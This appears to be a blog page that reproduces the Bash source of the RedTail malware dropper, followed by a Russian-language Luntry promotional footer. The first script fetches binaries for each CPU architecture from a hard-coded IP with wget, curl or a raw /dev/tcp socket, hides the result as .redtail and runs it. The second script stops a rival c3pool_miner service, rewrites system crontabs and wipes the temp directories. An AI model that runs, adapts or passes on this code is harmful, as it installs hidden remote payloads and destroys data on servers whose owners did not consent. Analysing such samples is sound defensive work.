#!/bin/bash
dlr() {
rm -rf $1
wget http://107.150.0.103/$1 || curl -O http://107.150.0.103/$1
if [ $? -ne 0 ]; then
exec 3<>"/dev/tcp/107.150.0.103/80"
echo -e "GET /$1 HTTP/1.0\r\nHost: 107.150.0.103\r\n\r\n" >&3
(while read -r line; do [ "$line" = $'\r' ] && break; done && cat) <&3 >$1
exec 3>&-
fi
}
NOEXEC_DIRS=$(cat /proc/mounts | grep 'noexec' | awk '{print $2}')
EXCLUDE=""
for dir in $NOEXEC_DIRS; do
EXCLUDE="${EXCLUDE} -not -path \"$dir\" -not -path \"$dir/*\""
done
FOLDERS=$(eval find / -type d -user $(whoami) -perm -u=rwx -not -path \"/tmp/*\" -not -path \"/proc/*\" $EXCLUDE 2>/dev/null)
ARCH=$(uname -mp)
OK=true
for i in $FOLDERS /tmp /var/tmp /dev/shm; do
if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 >/dev/null 2>&1 || truncate -s 2M .testfile2 >/dev/null 2>&1); then
rm -rf .testfile .testfile2
break
fi
done
dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean
rm -rf .redtail
if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then
dlr x86_64
mv x86_64 .redtail
elif echo "$ARCH" | grep -q "i[3456]86"; then
dlr i686
mv i686 .redtail
elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
dlr aarch64
mv aarch64 .redtail
elif echo "$ARCH" | grep -q "armv7"; then
dlr arm7
mv arm7 .redtail
else
OK=false
for a in x86_64 i686 aarch64 arm7; do
dlr $a
cat $a >.redtail
chmod +x .redtail
./.redtail $1 >/dev/null 2>&1
rm -rf $a
done
fi
if [ $OK = true ]; then
chmod +x .redtail
./.redtail $1 >/dev/null 2>&1
fi
#!/bin/bash
clean_crontab() {
chattr -ia "$1"
grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1" >/tmp/clean_crontab
mv /tmp/clean_crontab "$1"
}
systemctl disable c3pool_miner
systemctl stop c3pool_miner
chattr -ia /var/spool/cron/crontabs
for user_cron in /var/spool/cron/crontabs/*; do
[ -f "$user_cron" ] && clean_crontab "$user_cron"
done
for system_cron in /etc/crontab /etc/crontabs; do
[ -f "$system_cron" ] && clean_crontab "$system_cron"
done
for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d; do
chattr -ia "$dir"
for system_cron in "$dir"/*; do
[ -f "$system_cron" ] && clean_crontab "$system_cron"
done
done
clean_crontab /etc/anacrontab
for i in /tmp /var/tmp /dev/shm; do
rm -rf $i/*
done
Оставьте запрос
и узнайте, как Luntry может помочь вам выстроить эшелонированную оборону вашей инфраструктуры
Подпишитесь
и получайте подборку лучших постов блога в почту
Оставьте запрос и узнайте, как Luntry может помочь вам выстроить эшелонированную оборону вашей инфраструктуры